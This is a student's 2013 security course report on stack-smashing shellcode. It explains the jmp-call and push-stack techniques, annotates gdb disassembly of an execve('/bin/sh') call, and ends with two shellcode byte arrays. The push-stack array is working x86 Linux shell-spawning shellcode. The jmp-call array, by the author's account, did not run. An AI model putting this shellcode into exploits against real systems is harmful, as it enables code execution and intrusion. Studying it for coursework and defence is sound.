Christopher LaJon Morgan
Nov 12, 2013

Project 9 Stack_Smashing_Shell Code

CS 465

There are four major things that I learned while disassembling shell code: basic assembly instructions, a greater understanding of gcc's NULL macro, the call-jump shell, and the push stack shell. The first great frustration came when the example code I was trying to mimic forgot an all-important #include. This include contained the gcc macro for NULL. My original understanding for NULL was simply that it was a zero byte, however, this is not completely true. NULL in gcc is actually a (void*)0. It is a pointer to nothing; this actually is a major distinction. Once I figured this out I was able to generate the assembly code from gcc found below.

From there I observed some basic assembly instructions. Whenever a function call is made there are a few basic instructions that are generated to make room for local variables and save the base pointer. I also observed that when a function call is made a compiler/OS can either push parameters onto the stack or it can move them into registers. The parameters are pushed on in reverse order. From there the function call is made. I also learned that some systems have single instructions to enter kernel mode, where others call routines.

Along with these few basic assembly ideas, I also learned about two types of shell injection methods. One method is the jump and call method, where the other is the push stack method. The jump and call method uses the jmp instructions ability to jump to an arbitrary number of bytes in order to land on a call instruction directly above the shell code. When the call method is executed it pushes the address of the shell code onto the stack. The call method is made to jmp to some evecve setup code. Given that the call method just pushed the address of the shell code onto the stack, the exploit code has now oriented itself. It then pushes the appropriate addresses onto stack and performs the shell execution.

The push stack method, however, performs this attack in a slightly more elegant way. Instead of copying the shell code onto the stack and then jumping to its location, the push stack method simply pushes the needed shell command directly onto the stack, where they're needed. This avoids the hassle of trying to orient the exploit code; it just uses the stack pointer instead. With the code pushed on the stack it performs the shell execution.

While implementing these two methods I ran into some OS compatibility errors with the jmp-call approach but was able to successfully implement the stack push approach.

Main Definition:

```
Dump of assembler code for function main:
   0x08048e84 <+0>:  push   %ebp
   0x08048e85 <+1>:  mov    %esp,%ebp
   0x08048e87 <+3>:  and    $0xfffffff0,%esp
   0x08048e8a <+6>:  sub    $0x20,%esp
---Prelude
```

```
0x08048e8d <+9>:  movl   $0x80c8228, 0x18(%esp) – Cpy ‘bin/sh’
0x08048e95 <+17>: movl   $0x0,       0x1c(%esp) – Cpy ‘null’

0x08048e9d <+25>: mov    0x18(%esp), %eax – Load ‘bin/sh’
0x08048ea1 <+29>: movl   $0x0,       0x8(%esp) – Push Null

0x08048ea9 <+37>: lea    0x18(%esp), %edx – Load address of ‘name’
0x08048ead <+41>: mov    %edx,       0x4(%esp) – Push address ‘name’
0x08048eb1 <+45>: mov    %eax,       (%esp) – Push ‘bin/sh’
0x08048eb4 <+48>: call   0x8053880 <execve>
0x08048eb9 <+53>: leave
0x08048eba <+54>: ret
```

Execve Definition:

```
Dump of assembler code for function execve:
   0x08053880 <+0>:  push   %ebx
   0x08053881 <+1>:  mov    0x10(%esp),%edx – Cpy address of null
   0x08053885 <+5>:  mov    0xc(%esp),%ecx – Cpy address of name
   0x08053889 <+9>:  mov    0x8(%esp),%ebx – Cpy address of ‘bin/sh’

   0x0805388d <+13>: mov    $0xb,%eax -   Copy 0xb (11 decimal) onto the stack. This is the
                                          index into the syscall table. 11 is execve.
   0x08053892 <+18>: call   *0x80f45a8 -- Kernel Mode
   0x08053898 <+24>: cmp    $0xfffff000,%eax
   0x0805389d <+29>: ja     0x80538a1 <execve+33>
   0x0805389f <+31>: pop    %ebx
   0x080538a0 <+32>: ret
   0x080538a1 <+33>: mov    $0xffffffe8,%edx
   0x080538a7 <+39>: neg    %eax
   0x080538a9 <+41>: mov    %eax,%gs:(%edx)
   0x080538ac <+44>: or     $0xffffffff,%eax
   0x080538af <+47>: pop    %ebx
   0x080538b0 <+48>: ret
```

Jmp-Call Method of Shell Injection:

```
char shellcode[] =
        "\xe9\x35\x7c\xfb\xf7\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00"
        "\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8"
        "\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xad\x7b\xfb\xf7\x2f\x62"
        "\x69\x6e\x2f\x73\x68\x00\x5d\xc3";
```

Push Method of Shell Injection:

```
const char code[] =
  "\x31\xc0"              /* xorl    %eax,%eax            */
  "\x50"                  /* pushl   %eax                 */
  "\x68""//sh"            /* pushl   $0x68732f2f          */
  "\x68""/bin"            /* pushl   $0x6e69622f          */
  "\x89\xe3"              /* movl    %esp,%ebx            */
  "\x50"                  /* pushl   %eax                 */
  "\x53"                  /* pushl   %ebx                 */
  "\x89\xe1"              /* movl    %esp,%ecx            */
  "\x99"                  /* cdql                         */
  "\xb0\x0b"              /* movb    $0x0b,%al            */
  "\xcd\x80"              /* int     $0x80                */
;
```